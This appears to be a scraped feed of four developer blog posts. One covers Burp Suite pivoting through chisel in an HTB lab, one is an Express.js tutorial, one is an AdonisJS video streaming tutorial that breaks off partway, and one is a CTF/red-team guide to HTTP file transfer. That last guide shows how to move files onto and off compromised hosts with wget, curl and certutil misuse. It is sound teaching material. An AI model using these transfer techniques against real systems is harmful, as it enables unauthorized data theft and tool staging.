Forem: Adam Katora

How to use Burp Suite through a socks5 proxy with proxychains and chisel

Adam Katora — Wed, 29 Mar 2023 20:33:02 +0000

Disclaimer: For this example I used HTB's Dante Pro Labs. I don't show any exploits or attack vectors, but if you're working through the labs on your own and don't want to see anything that could even remotely be considered a spoiler, you've been warned.

Recently, I've been prepping for the OSCP and one of the major focus areas of the Penetration Testing with Kali course materials is understanding how to effectively pivot into internal subnets.

My go-to method for pivoting is through a chisel socks5 proxy. I won't go into detail here about how to set that up, but if you want a walkthrough, Ap3x Security's writeup on chisel is a fantastic resource. For the rest of this article, I'm assuming you've used the setup and configuration options from that guide.

In the lab environment I'll be working in, I've already setup my pivot, which included transfering a copy of the chisel binary onto the victim. The image below shows the victim host making a connect back to our reverse proxy, and the chisel server output confirms that connection.

With that pivot in place, we can now access the private network in the 172.16.1.0/24 range. We're going to skip the internal network enumeration step, and assume that we've found an internal host with HTTP open on port 80.

One way to access that web service is to configure FoxyProxy to route through our socks5 proxy on localhost:1080. In my FoxyProxy setup, I have 2 proxies configured, one is the default setup for Burp Suite, the other is for proxychains. Take note that the Burp Suite proxy uses HTTP, for the Proxy Type field and proxychains uses SOCKS5.

Without FoxyProxy, we can't access the internal host:

Using FoxyProxy to route traffic through our localhost:1080 proxy, we can access the internal webserver: (note that the FoxyProxy icon is green indicating the proxy is active)

While this approach does allow us to interact with the internal webserver in our browser, the major drawback to this approach is that we're unable to use Burp Suite through the pivot.

Fortunately, the solution is fairly simple. Burp Suite has a feature called Upstream Proxies, which allows us to both proxy traffic through both Burp Suite and our socks5 tunnel.

To use an upstream proxy, we'll first start by switching our FoxyProxy back to using the default Burp Suite setup.

Next, you'll need to open up the "Settings" window inside Burp Suite. You can find the button to open that in the upper right-hand corner of the application.

After the settings window opens up, with the "All" tab / button highlighted, select the "Network" option from the left sidebar dropdown, and in the main window scroll to the bottom of the page until you see the SOCKS Proxy header.

Once you've reached the SOCKS Proxy section, we can now configure Burp to work with our chisel tunnel. Before doing so, I recommend selecting the option Override options for this project only. That way if you quit Burp Suite, and open up a new project later, you avoid the headache of forgetting that the socks proxy is on and not being able to connect to any websites.

Toggling the Override options for this project only, will clear out the host and port fields, which is the reason I reccommend selecting that option before entering your proxy config.

The actual settings to configure are fairly straight forward. Type in 127.0.0.1 for the host and 1080 for the port (if you followed the chisel setup from Ap3x). Finally check the Use SOCKS proxy box, and our setup is all configured.

With that setup out of the way, we can return to our browser, and try accessing the webserver on the internal host again. If everything is setup correctly, you should be able to access the website in your browser, but this time around you should also be able to see the request in Burp Suite's proxy window too.

note that foxyproxy option is set to Burp suite this time

Back in Burp Suite we can see that the request is being logged.

Now that we have our upstream proxy setup, we can use Burp Suite against any HTTP webservers in the internal network, just like we would against ones in a public subnet.

HTTP - File Transfers for CTFs and Red-Teamers Pt. 1

Adam Katora — Sun, 22 Jan 2023 21:40:32 +0000

Quick Disclaimer: These are some of the techniques and tips I've picked up from ethical hacking and CTFs. But remember, performing these actions against networks or hosts you don't have explicit permission to do so is illegal. Don't break the law.

Overview
Opsec Considerations
File Transfer Scenarios
- Linux Attacker -> Linux Victim
- Linux Victim -> Linux Attacker
- Linux Attacker -> Windows Victim
- Windows Victim -> Linux Attacker
HTTP Server Options:
- Linux HTTP Servers
- Windows HTTP Servers
HTTP Client Options:
- Linux HTTP Clients
- Windows HTTP Clients
Potential Firewall Issues

Overview

In the course of CTFs or Red Team engagements, there will come a point where you'll need to either infiltrate data (get files or programs on to the compromised host) or exfiltrate data (get files or programs off of the compromised host).

One of the simplest methods to achieve this is via HTTP, the same technology that powers websites.

It's important to note that HTTP is unidirectional, meaning that a client can download files from an HTTP server, but the server can't download files from the client. Additionally, the client can't upload files to the HTTP server. This is in contrast to file share specific protocols, like SMB or FTP, where clients can easily download and upload files to the server.

Side note: You technically can upload files via HTTP, typically using a POST request. However, that requires the HTTP server to also be running an application that has been programmed to include that functionality. Because of that, I'd consider that to be a potential web-app vulnerability, instead of being a reliable option for data infil/exfiltration.

To visualize a simple HTTP data transfer, I've included the below graphic. In this scenario, the attacker has compromised the victim, 10.10.10.1, and has shell access on that machine, meaning they can execute system commands. The attacker needs to transfer a file, file.txt, onto the victim. On the attacker's machine, 10.10.10.2, they start an HTTP server with python -m http.server 80 from the directory containing file.txt.

On the victim's machine, the attacker runs the command wget http://10.10.10.2/file.txt, which downloads file.txt from the attacker's HTTP server onto the victim's compromised machine.

Since the victim machine isn't running an HTTP server, however, the attacker can't download files from the victim back to the attacker's machine.

Opsec Considerations

Before moving on to the scenarios, it's important to remember that the methods I'm describing here don't have any safeguards against unauthorized file access. Meaning, if you start an HTTP server on either your machine or a victim's, anyone on the same network as you will be able to access those files as well.

Additionally, depending on what directory you host the HTTP server from, all files and subdirectories of that folder will be accessible to anyone on the same network as you.

For example, if you're on a Linux host and run the python -m http.server 80 while in your home directory, that will make all the files in your home directory publicly accessible, including any private keys in .ssh/!!!. Before starting an HTTP server, it's always good practice to ensure you know what directory it will be serving files from. Better yet, create a new empty directory, and start the file server there. This applies both to when you're hosting the webserver on your attacking machine and when doing so from a compromised victim.

File Transfer Scenarios

In each of the scenarios I'll be describing, I've randomly picked an HTTP client and HTTP server from the list of potential options to use. However, any HTTP client will be able to request files from any HTTP server. You'll need to find what client / server to use based off what you're most comfortable with using on your host, and what is available to you on the compromised victim.

Linux Attacker -> Linux Victim

The first scenario we'll look at is when you have shell access on a compromised Linux host, and need to download a file on to that compromised machine. This is the same scenario we looked at earlier, except in the below image, our attacking machine is using Apache for the HTTP server instead of Python.

Since the HTTP Server is being hosted from our attacking machine, that means that virtually any of the below Linux HTTP Server Options are available. On our own machine, we have full permissions to install any software needed, and run programs as sudo.

From the shell on the victim, however, we'll need to find which binaries already exist on the victim that we can use to download files. Fortunately, that's easy in Linux using the which <binary name> command. For example, if you'd want to see if wget is already installed on the host you would just need to run the command which wget. If the command returns a file path, the program is installed. If it doesn't return anything, you'll need to find another program.

Looking back at the scenario, the attacker has shell access on the victim, and found that wget is installed. The attacker wants to transfer file.txt onto the victim, so the attacker starts an HTTP server on his own host with sudo service apache2 start. From the shell access on the victim, the attacker runs wget http://10.10.10.2/file.txt which downloads the file from the attacker, onto the victim.

Linux Victim -> Linux Attacker

This second scenario is the reverse of the first we looked at. This is when you have shell access on a compromised Linux host, and need to download a file from that compromised host. Much like how we looked to see if wget was available in scenario 1, in this case we'll need to check if one of binaries from Linux HTTP Server Options is available for us to use on the victim.

In the scenario below, the victim host has Python 3 installed. So, from shell access on the victim, the attacker starts a Python 3 HTTP server in the directory that contains, file.txt. Then, on the attackers own machine, they use wget to download file.txt from the victim, back to the attacker.

note that the attacker and victim have switched sides in this image

Linux Attacker -> Windows Victim

This third scenario invovles the attacker having shell access on a Windows machine, and needing to transfer a file from their attcking Linux machine onto the compromised Windows host.

In this scenario, the attacker is running the webserver with SimpleHTTPServer module, and using the Windows binary, certutil.exe to download file.txt from the attacking host.

certutil.exe is installed by default on Windows versions since Vista/Server 2008, but if we wanted to check for it's existence we could use the where certutil.exe command from a cmd terminal, or (get-command certutil.exe).Path in Powershell.

Windows Victim -> Linux Attacker

The fourth and final scenario we'll look at, exfiltrating data from a compromised Windows host, is not going to be viable in most CTFs or real-world situtations. This is because Windows Defender Firewall blocks all inbound traffic by default. That means that unless we can add a new firewall rule, or can take advantage of a misconfigured firewall, our attacking host won't actually be able to connect to the HTTP server on the compromised Windows host.

For this example, I'm assuming those rules are already in place, and that the attacker has the necessary privilege to start and stop IIS.

On the compromised Windows host, the attacker starts the IIS server with the iisreset /start command. Then, from the attacking Linux host, the attacker uses curl to download file.txt from the victim machine back to the attacker.

Linux HTTP Server Options:

The default port for HTTP traffic is port 80. When running a webserver on Port 80, most HTTP clients will assume that default port is being used, so it does not have to be specified. For example, http://10.10.10.1/file.txt == http://10.10.10.1:80/file.txt. But, http://10.10.10.1/file.txt != http://10.10.10.1:8000/file.txt. If you're using the non-default port, which in some instances will be unavoidable, just remember to specify the port in your HTTP client.

Python 3

With Python 3 we can use the built-in http.server module to quickly and easily spin up an HTTP server. The syntax for the command is:

python -m http.server
# or python3 depending on how python is installed
python3 -m http.server

The http.server module will default to using port 8000 and serve files from the current directory. If you want http.server to use port 80, or specify a directory to serve files from, you can use the --directory flag, and supply an integer value for port, which is the only positional argument the module supports:

# Will serve files from /var/www/html on Port 80
python -m http.server 80 --directory /var/www/html

Python 2

Similar to the Python 3 http.server module, Python 2 has a module, SimpleHTTPServer that can do the same thing. The sytax for that is:

# Will serve files from the current directory on Port 80
python -m SimpleHTTPServer 80

Unlike the http.server module, SimpleHTTPServer does not support a flag to specify the directory to serve files from. If you want to achieve that result, you'll have to use pushd and popd:

# Will serve files from /var/www/html on Port 80
pushd /var/www/html; python -m SimpleHTTPServer 80; popd

Apache

Unlike many of the other options here, Apache can be and oftentimes is used as a production webserver. Because of this, Apache has many more features, but the configuration for those features is stored in separate files, mainly /etc/apache2/apache2.conf.

Using Apache as an HTTP server for data exfil/infiltration, however, comes with the huge caveat that in most cases starting and stopping the service requires sudo, aka root access. When you're serving files from your attacking host, that's not an issue, but if you're trying to exfiltrate data from a victim you might not have root access.

Even if you don't have permissions to start/stop apache on a victim, you might still be able to use Apache to exfiltrate files via HTTP if you have write access to the directory that Apache is serving files from. By default this will be the /var/www/html/ directory.

Starting Apache on Kali:

# Will start an apache server with the options from /etc/apache2/apache2.conf
sudo service apache2 start

Stopping Apache on Kali:

# Will stop an already running apache server
sudo service apache2 stop

Nginx

Like Apache, Ngninx is also a production webserver that has a large market share. The default webroot for Nginx will vary depending on the OS and version that is installed, but some common Nginx webroots are as follows:

/var/www/html
/usr/share/nginx/www
/usr/share/nginx/html

Nginx for data exfiltration comes with the same caveats as Apache. If you're trying start or make changes to a running Nginx server on a compromised victim, you'll likely need root access. Otherwise, if you have write permissions to the webroot of an already running Nginx instance on a victim, you can still exfil data that way.

Starting Nginx on Kali:

# Will start an nginx server
sudo service nginx start

Stopping Nginx on Kali:

# Will stop an already running nginx server
sudo service nginx stop

simple-http-server

simple-http-server is a cli based HTTP server written in Rust that has pre-compiled binaries for Linux, Windows and MacOS hosts. It's highly unlikely that this binary will be pre-installed on a compromised victim, but since it has no dependencies, if you can infiltrate the binary onto a victim host you can easily use it to run an HTTP server.

If you use one of the pre-compiled binaries, the start command will match the filename, otherwise the general syntax is as follows.

# Will start an http server on port 80
./simple-http-server -p 80

Linux HTTP Client Options:

The list I'm including here is by no means comprehensive. While I'm only listing some of the most commonly available methods / programs, there might be some instances where none of these programs are available, or their usage is restricted.

A great resource for finding programs that might grant you download capabilites via programs unbeknowst to sys admins is GTFOBins - File Downloads Filter.

wget

Many Linux systems will come pre-installed with wget, making it a great choice for downloading files on Linux over HTTP. Downloading files with wget is very easy:

# Will download file.txt and save as file.txt
wget http://10.10.10.2:8000/file.txt

Optionally, you can the -O (capital letter O not zero) flag to specify the output filename.

# Will download file.txt and save as output-file.txt
wget -O output-file.txt http://10.10.10.2/file.txt

curl

Another program that's very commonly found on Linux systems is curl. Unlike wget, curl defaults to displaying the output in the terminal instead of downloading files, however, you can easily save files with the --output flag.


curl http://10.10.10.2/file.txt --output file.txt

Windows HTTP Server Options:

As mentioned above in Windows Victim -> Linux Attacker, using HTTP for data exfil on Windows isn't generally a great choice, but these options are included for general awareness.

IIS

IIS, Internet Information Services, is a web server created by Microsoft for use with Windows hosts. Whenever you encounter Windows hosts serving HTTP, it's highly likely that they'll be using IIS. The default webroot for IIS is C:\inetpub\wwwroot\. In order to start / stop an IIS server, you will need to be running as an Administrator, aka NT Authority\System user.

Start IIS - cmd:

iisreset /start

Start IIS - powershell:

Start-IISSite -Name "Default Web Site"

Python 3

If python 3 is installed, you can use the http.server module. Note the addition of the --bind flag with the ip 0.0.0.0.

python -m http.server --bind 0.0.0.0 80

Windows HTTP Client Options:

Much like the Linux list, the list of Windows HTTP clients here also by no means comprehensive. Windows has its own version of GTFOBins in the form of LOLBAS.

Invoke-WebRequest - Powershell

If your Windows access is a powershell environment, or if you're in cmd and you can spawn a powershell environment with powershell.exe, you can use the built-in function Invoke-WebRequest to download files to Windows.

# Downloads file.txt and saves it as file.txt
Invoke-WebRequest -Uri http://10.10.10.2/file.txt -OutFile file.txt

Certutil.exe - cmd / Powershell

certutil.exe is a legitimate Windows program to download Certificate authority files. However, we can misuse this legitimate program to download files from any HTTP server that we specify.

certutil.exe -urlcache -split -f http://10.10.10.2/file.txt file.txt

Potential Firewall Issues

In the scenarios I described above, it is assumed that there is either no firewall, or that the firewall has rules in place that will allow us to run any of the HTTP server / clients without issue. In CTFs / the real world, you'll often run into firewalls that have block rules in place to stop the kinds of HTTP transfers described above.

Firewall rules can be broken out into two distinct categories. Inbound rules and Outbound rules.

Inbound firewall rules control what happens when other computers try to access our local machine. For example, we could be running an HTTP webserver on port 80 locally accessible at http://localhost:80, but if we have a firewall block rule on port 80 in place, no other computers will be able to access that HTTP webserver.

Windows Defender Firewall blocks all inbound traffic by default, and exceptions for individual programs / services are made from there. This is part of the reason why HTTP isn't a great choice for data exfiltration on Windows.

While Linux distros include a wide number of firewall programs available, they often won't be enabled by default or won't have restrictive inbound rules enabled by default like Windows does. This makes HTTP an easy way to quickly exfiltrate data from Linux systems, just remember the opsec concerns from earlier.

Outbound firewall rules tell the computer what to do when our local computer tries to access computers and resources on other computers. This can be other computers on our local network, or even websites out on the internet. You'll occasionally run into instances where outbound traffic on most ports has been blocked by firewall rules. However, HTTP traffic on port 80, and HTTPS traffic on port 443 are often allowed outbound rules, otherwise the computer wouldn't be able to access the internet.

Why you should ALWAYS use return before res.send in Express APIs and Applications

Adam Katora — Tue, 10 Jan 2023 20:33:52 +0000

So, before I get eaten alive in the comments, let me just say that using the word "ALWAYS" in the title of this article is definitely a little bit of click-bait. If there's one thing I've found to be true in software development, nearly every "rule" has a specific edge case where it can and should be broken.

But what I've also found is that these coding "rules" can be very beneficial, especially when their usage helps programmers to avoid errors, increase code readability, and have an all-around better understanding of their program's control flow.

And for most Express.js developers, especially new ones, I think the return res.send() rule can achieve just that.

Bug-Free Software Corp - An Expres.js App

To demonstrate, I've written an (intentionally bad) Express.js application called "Bug-Free Software Corp". The application only has one endpoint /login which accepts a single input, password, for the single user, admin. The user is stored in the database.json file, a simple flat-file key-value database.

Side note: For brevity and demonstration purposes, I'm not hashing the password in the "database". You probably already know, but I'd be remiss without saying, if you are writing a real application ALWAYS salt and hash your passwords! That is one rule that should actually never be broken.

When a user makes a POST request to /login our application checks if the supplied password matches the admin password stored in the database, and if it does it sends back a success message. When the user makes that same request, but with an invalid password, our application sends back an invalid warning message.

If you'd like to follow along, you can clone the git repository here, otherwise, I've included the code below, the program is short enough you can just read along.

const express = require('express')
const app = express()
app.use(express.json())
const port = 3000

const JSONdb = require('simple-json-db')
const db = new JSONdb('database.json')

app.post('/login', (req, res) => {
  // Get the password from the POST request body
  const inputPassword = req.body.password

  // Check if user supplied password == the database stored password
  if (inputPassword === db.get("admin")["password"]) {
    res.send("\nLogin Successful!\nWelcome, Admin.\n").status(200)
  } else {
    res.send("\nWrong password!\nAcess denied!\n").status(401)
  }

  // Bug tracker counter - Will reset if code gets down to here,
  // but this should never run because we used res.send()... right?!?!
  db.set("bugTracker", 0);
})

app.listen(port, () => {
  console.log(`Bug-Free Software Corp. App listening on port 3000!`)
  console.log(`It's been ${db.get("bugTracker")} days since we've had a bug!`)
})

You probably already see the glaring error, but just humor me and follow along.

Let's test the application by running npm start from within the project directory, you should see output from nodemon and Express that the app is running on port 3000, as well the number of days since a bug, which is pulled from database.json

$ npm run start
> bug-free-software-corp@1.0.0 start
> nodemon index.js

[nodemon] 2.0.20
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node index.js`
Bug-Free Software Corp. App listening on port 3000!
It's been 365 days since we've had a bug!

Using curl (or Postman) we can make a POST request to http://localhost:3000/login. If you cloned the repo, I have two npm scripts npm run curl-right-password and npm run curl-wrong-password, otherwise here's the curl commands.

# correct password
curl -X POST -H 'Content-Type: application/json' -d '{"password": "P@ssw0rd!"}'
# wrong password
curl -X POST -H 'Content-Type: application/json' -d '{"password": "Wr0ngP@ssw0rd!"}'

When you run the right password:

$ npm run curl-right-password
Login Successful!
Welcome, Admin.

And the wrong:

$ npm run curl-wrong-password
Wrong password!
Acess denied!

To the end-user, it looks like everything is running correctly. But, looking back at our terminal that's running our application, we can see that nodemon restarted because the database.json file changed. It was the bug tracker...

[nodemon] restarting due to changes...
[nodemon] starting `node index.js`
Bug-Free Software Corp. App listening on port 3000!
It's been 0 days since we've had a bug!

What happened was that even though our if/else statement always hit a condition that executed a res.send() call, the function continued to execute. In Express, calling the res.send() method only sends a response to the client, it does not exit the current function.

In an application of this size, it's very easy to spot the error before it occurs. But, in larger more complex applications it's very easy to imagine a situation where this could get overlooked leading to errors in the code.

Fortunately, in this case the fix is simple. I even included it in the title. The only update we'd need to make to our code is to append a return statement before the res.send() calls.

  if (inputPassword === db.get("admin")["password"]) {
    // Added `return` to stop further code execution
    return res.send("\nLogin Successful!\nWelcome, Admin.\n").status(200)
  } else {
    // Added `return` to stop further code execution
    return res.send("\nWrong password!\nAcess denied!\n").status(401)
  }

If you make the above changes to index.js, and re-run the curl commands, you'll find that the program executes without ever reaching the code to reset the bug-tracker.

Closing Thoughts

Earlier I mentioned that most programming rules have instances when they should be broken, and after having spent the entirety of this article telling you why you should always follow this rule, I'd like to provide 2 potential reasons why you shouldn't always follow this rule. (And, why I think those reasons are wrong but we'll get to that in a minute)

Reason 1. In some applications, you do want code to continue executing after you've already sent a response to the client.

This is especially true of applications that do heavy processing workloads, take Youtube for example. If you uploaded a large video to Youtube, after the upload was complete, Youtube's platform still has to process the video and convert it into multiple formats for streaming.

From an application and user-experience standpoint, it makes no sense to keep the single HTTP request alive for the duration of processing and transcoding those video files. Instead, the application just needs to send back a 200 status code after the upload completes, letting the user know the upload went smoothly and the application will handle everything else from there.

Even in these instances though, I'd still make the argument that it's better practice to use job queues and background processing to run that code, and instead send back a 200 status code to the user confirming that the job was scheduled successfully.

I'm hoping to write about job queues and background processing in node.js / Express.js soon, so I'll skip over going into any more detail here.

Reason 2. The return value of res.send() is undefined, so using return res.send() makes the code less clear. Instead, you should move the return statement to the line immediately following res.send() ie:

res.send('Success!').status(200)
return

While it is correct that the return value of res.send() isn't important to the program, I still think that consolidating this code to 1 line as opposed to 2 makes the code more readable and easier to understand. After all, that was the whole point of this "rule" anyway.

If you have any differing opinions on how to structure your Express.js code or think I'm wrong anywhere I'd welcome any opinions in the comments. Thanks for reading!

Creating an HLS VOD (Video on Demand) Streaming Platform with Typescript, AdonisJS, and AWS

Adam Katora — Wed, 25 May 2022 21:36:07 +0000

Example repo here:

A while back, I wrote a version of this article using Ruby on Rails. While I was happy with how it turned out, at heart I'm a node developer. Because of that, I decided to redo that project in my language of choice.

I'll also be using AdonisJS as my backend framework instead of Express. I've found the AdonisJS framework has a lot of the conventions and features that I enjoyed about Rails, but within the JS ecosystem.

What We'll Be Building:

At the end of this project, we'll have a simple webapp that is capable of doing the following:

Uploading user submitted .mp4 files to an S3 bucket
Transcoding those .mp4 files into an HLS playlist for streaming
Serving those HLS videos via Cloudfront CDN

Since we'll be using S3 and Cloudfront, you will need an AWS account. However, the AWS charges of those two services should be nominal given our current use case.

Getting Started:

Start by running the following command to initialize a new AdonisJs app.

npm init adonis-ts-app@latest adonis-vod

Select the following settings:

CUSTOMIZE PROJECT
❯ Select the project structure · web
❯ Enter the project name · adonis-vod
❯ Setup eslint? (y/N) · false
❯ Configure webpack encore for compiling frontend assets? (y/N) · false

After the cli tool finishes running, your new Adonis app will be setup in the adonis-vod directory. Open that up in your IDE of choice.

Next, we'll need to install Lucid, Adonis' default ORM, so that we can create models and interact with our database.

Run the following to install Lucid.

npm i @adonisjs/lucid

Then, after npm completes installation, configure Lucid by running the following command:

node ace configure @adonisjs/lucid

Select SQLite as a database driver, and for 'Select where to display instructions...' choose 'In the terminal'.

❯ node ace configure @adonisjs/lucid
❯ Select the database driver you want to use …  Press <SPACE> to select
◉ SQLite
◯ MySQL / MariaDB
◯ PostgreSQL
◯ OracleDB
◯ Microsoft SQL Server

...

❯ Select where to display instructions …  Press <ENTER> to select
  In the browser
❯ In the terminal

From the cli output, the only variable we'll worry about right now is the DB_CONNECTION env variable.

Open env.ts and edit it to look like the following:

(Note the addition of DB_CONNECTION at the bottom of the file)

import Env from '@ioc:Adonis/Core/Env'

export default Env.rules({
    HOST: Env.schema.string({ format: 'host' }),
    PORT: Env.schema.number(),
    APP_KEY: Env.schema.string(),
    APP_NAME: Env.schema.string(),
  DRIVE_DISK: Env.schema.enum(['local'] as const),
    NODE_ENV: Env.schema.enum(['development', 'production', 'test'] as const),
    DB_CONNECTION: Env.schema.string(),
})

If you're not familiar with AdonisJS, the env.ts is NOT our .env file, but rather a file that checks the existence of the required env vars before starting our server.

If you open up the .env file, you should see

DB_CONNECTION=sqlite

on line 8, which is our actual env variable to select SQLite as our database connection.

The configuration settings for our SQLite database are stored in the config/database.ts file, but we don't need to make any modifications for our app to function.

Next, we'll install the S3 driver for AdonisJS' Drive, this will allow us to upload and store our video files in AWS S3. Run the following command:

npm i @adonisjs/drive-s3

Once that finishes installing, run the configure command as well:

node ace configure @adonisjs/drive-s3

Once again, select "In the terminal" to display instructions. This time we will want to make updates to both the env variable names, and to the configuration settings.

First open .env and change the newly created S3 env variables to be the following:

AWS_ACCESS_KEY=dummyKey
AWS_SECRET_KEY=dummySecret
S3_BUCKET=dummyBucket
S3_REGION=dummyRegion

Note that we're changing the variable names from S3_KEY and S3_SECRET to AWS_ACCESS_KEY and AWS_SECRET_KEY, since we'll be using Cloudfront as well. This name change isn't technically neccessary, but I prefer to be clear that the AWS credentials we'll be using are for more than just S3.

You can also delete the S3_ENDPOINT variable since we won't be using that.

With the .env file updated, open up config/drive.ts, and scroll down until you see the commented out S3 Driver settings. Uncomment the s3 driver configuration, and update the settings to be the following:

s3: {
  driver: 's3',
  visibility: 'private', // <- This is VERY important
  key: Env.get('AWS_ACCESS_KEY'),
  secret: Env.get('AWS_SECRET_KEY'),
  region: Env.get('S3_REGION'),
  bucket: Env.get('S3_BUCKET'),
},

(If you see a typescript error with the driver property after installing and configuring @adonisjs/drive-s3 you might need to Restart your Typescript Server)

Take note that we updated the key, and secret env variables names from the defaults to the new ones. We also changed the setting visibility from 'public' to 'private'. If you don't change that variable you will run into errors when trying to upload to s3.

We also need to update our local drive settings in drive.ts update the settings to the following

local: {
  driver: 'local',
  visibility: 'private',
  root: Application.tmpPath(''),
  serveFiles: false,
  basePath: '/',
},

Since we went ahead and set up our environment variables for AWS, we should handle setting up our S3 bucket, Cloudfront Distribution, and IAM user as well.

Start by logging into the AWS Console. From there, type 'IAM' in the top search bar, then click the result to open the "Identity and Access Management" dashboard.

On the dashboard, select "users" on the left-hand navbar, then click the blue "Add users" button.

Type in a name for your user, then select "Access key - Programmatic access" for the credential type. Click "Next: permissions" to continue. For permissions

For simplicity, we'll be using "Attach existing policies directly" with the policies: AmazonS3FullAccess and CloudFrontFullAccess, but in a production app you would probably want to use a more restrictive policy following principle of least privilege.

Simply check the box next to each Policy to attach it to our new user.

Click "Next: Tags" and skip this page by clicking "Next:Review" at the bottom right hand corner of the screen. As long as your user has the two permission policies from above listed under the "Permissions summary" you're all set to click "Create User"

The next screen will show you your credentials for the newly created user. As the page mentions, this is the last time AWS will show you these credentials, so it's best to download them as a CSV and store the file securely for future reference.

With our IAM user created, we can take those credentials from the CSV file and add them to our .env file. The CSV column Access key ID corresponds to our AWS_ACCESS_KEY variable and Secret access key to AWS_SECRET_KEY.

Next, we'll create an S3 bucket to store our uploaded videos. In the same search bar you used to find 'IAM' start searching for 'S3' to open the 'S3' dashboard.

Click the orange "Create bucket" button to open up the bucket creation panel. You'll need to provide your bucket a globally unique name, but other than that, we won't need to change any other settings, so scroll to the bottom of the page and click the "Create bucket" button to finish creating your new bucket.

A quick note about S3 Buckets: By default, when you create a new Bucket the setting "Block all public access" will be set to true. Even though we will want our users to be able to access the media we store in our S3 bucket, we don't want users accessing files directly from S3.

Instead, we'll use a CloudFront CDN Distribution to serve our S3 files. This gives us 2 main benefits: 1 - our media is served from whichever CloudFront server is closest to the requesting user, giving our app faster speeds, 2 - It's cheaper to serve our media from CloudFront than it is from S3.

Update the last 2 env variables S3_BUCKET and S3_REGION with the correct options for the S3 bucket you just created. For S3 bucket, you simply need the name, not the ARN.

Finally, let's setup our CloudFront distribution. Open up the CloudFront Dashboard the same way we did with IAM and S3. Click, "Create Distribution".

On the Create Distribution dashboard, the first setting we'll need to update is the "Origin domain", in our case, the origin should be the S3 bucket you just created.

In the "Choose origin domain" search dropdown, you should be able to see your newly created bucket listed. Choose that.

The "Name" field should populate with a default value after selecting your Bucket.

For "S3 bucket access" select "Yes use OAI (bucket can restrict access to only CloudFront)". Under "Origin access identitiy" there should be a default option for you to choose. Then finally under "Bucket policy" select "Yes, update the bucket policy".

You'll also need to update the Response headers policy to use the "CORS-with-preflight-and-SecurityHeadersPolicy" so that we don't run into any CORS issues.

In a later installment, we'll configure our CloudFront Distribution to use Signed Cookies to limit media access to only our app users, but for now these settings are enough to get us up and running. Scroll to the very bottom and click "Create Distribution"

The final configuration step we need to take is adding our "tmp" directory to the exclude array in our tsconfig.json file. Since our application will be generating new files (.ts & .m3u8) into the tmp dir, we want to exclude that dir from being watched to automatically restart the server on file changes.

Open tsconfig.json and update the exclude array to look like the following:

...
  "exclude": [
    "node_modules",
    "build",
    "tmp"
  ],
...

If you forget to add "tmp" to exclude you'll see your dev server restarting a number of times while the transcode function we'll be implementing later is running.

With those configuration steps out of the way, we can start building out our app.

Run the following two commands to generate a database migration and a model for our Video object.

node ace make:migration videos
node ace make:model Videos

Note that AdonisJS will handle changing word between singular or plural automatically, so node ace make:model Videos becomes app/Models/Video.ts.

Open the database/migrations/[timestamp]_videos.ts file, and update the public async up() method to look like the following:

public async up () {
  this.schema.createTable(this.tableName, (table) => {
    table.increments('id')

    table.string('name', 255)
    table.string('original_video', 255)
    table.string('hls_playlist', 255)

    /**
     * Uses timestamptz for PostgreSQL and DATETIME2 for MSSQL
     */
    table.timestamp('created_at', { useTz: true })
    table.timestamp('updated_at', { useTz: true })
  })
}

In the above code, we are adding 3 columns to our database table: name - which is the name of our video, original_video - which will store a reference to path of our original video file in s3, and hls_playlist - which will store a reference to the hls playlist file in s3 that our app will generate and upload.

Pay attention to the fact that for database column names in migration files, AdonisJS uses snake_case convention.

Next, open app/Models/Video.ts and update the class definition to the following:

export default class Video extends BaseModel {
  @column({ isPrimary: true })
  public id: number

  @column()
  public name: string

  @column()
  public originalVideo: string

  @column()
  public hlsPlaylist: string

  @column.dateTime({ autoCreate: true })
  public createdAt: DateTime

  @column.dateTime({ autoCreate: true, autoUpdate: true })
  public updatedAt: DateTime
}

In the above code, you'll notice that we're adding the same database columns that we added in the migration, except this time as properties on our Video class, and in camelCase instead of snake_case.

With our databse model and migration setup, we're almost ready to start using our database in our app. Before we can do so though, we need to "apply" our migration to our database. If you're coming from a MongoDB or NoSQL background, the concept of migrations might be new to you, but fortunatley applying database migrations is easy, run the following command:

node ace migration:run

The above command will "apply" that migration by creating the tables and columns specified in our migration file, and setting them to the correct data type within the database. If you want to read up a little more on migrations, here's the AdonisJS docs on the topic.

Now that our database migrations have been run, we can write our Controller, so that we can actually perform CRUD operations on our Video model. Run the following command:

node ace make:controller Videos

That will automatically generate an app/Controllers/Http/VideosController.ts file for you. We'll be adding 4 methods to our Videos controller so that we can create new videos, upload & transcode them, then watch back our videos via HLS streaming. The 5 methods will be:

index() - List all the videos in our app
create() - Render the video upload page
store() - Save a new video
show() - Watch a single video

For our VideosController we'll also need to install a few more dependencies. Run the following:

npm install @ffmpeg-installer/ffmpeg @ffprobe-installer/ffprobe hls-transcoder

(Full Disclosure: hls-transcoder is a package I maintain)

Below is the implementation of the VideosController class. The only thing you'll need to update is {url: 'YOUR-CLOUDFRONT-URL-HERE'} in the show() method, line 29. And as the comment mentions, don't include the protocol, ie https://. This could be moved to an env variable, but for our purposes hard-coding is fine and not really a security risk in this instance.

Otherwise, feel free to copy / past the Video Controller code from below, and I'll briefly explain what each method does.

import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
import Application from '@ioc:Adonis/Core/Application'
import Drive from '@ioc:Adonis/Core/Drive'
import Logger from '@ioc:Adonis/Core/Logger'

import * as fs from 'fs'
import * as path from 'path';
import ffmpeg from '@ffmpeg-installer/ffmpeg';
const ffprobe = require('@ffprobe-installer/ffprobe')

import Video from 'App/Models/Video'

import Transcoder from 'hls-transcoder'


export default class VideosController {
  public async index({ view }: HttpContextContract) {
    const videos = await Video.all()

    return view.render('videos/index.edge', { videos })
  }

  public async create({ view }: HttpContextContract) {
    return view.render('videos/create.edge')
  }

  public async show({ params, view }: HttpContextContract) {
    const video = await Video.findByOrFail('id', params.id)
    const cloudfront = {url: 'YOUR-CLOUDFRONT-URL-HERE'} // <- Put your cloudfront url here DON'T include https://

    return view.render('videos/show.edge', { video, cloudfront })
  }

  public async store({ request, response }: HttpContextContract) {
    const videoFile = request.file('videoFile')
    const name = request.input('name')

    var video = await Video.create({
      name: name,
    })
    // Since id is generated at the database level, we can't use video.id before video is created
    video.originalVideo = `uploads/${video.id}/original.mp4`

    await videoFile?.moveToDisk(`uploads/${video.id}`, {
      name: `original.mp4`
    }, 's3')

    await this.transcodeVideo(video)

    response.redirect().toPath('/videos')
  }


  private async transcodeVideo(video: Video): Promise<void> {
    const local = Drive.use('local')
    const s3 = Drive.use('s3')

    // Get FileBuffer from S3
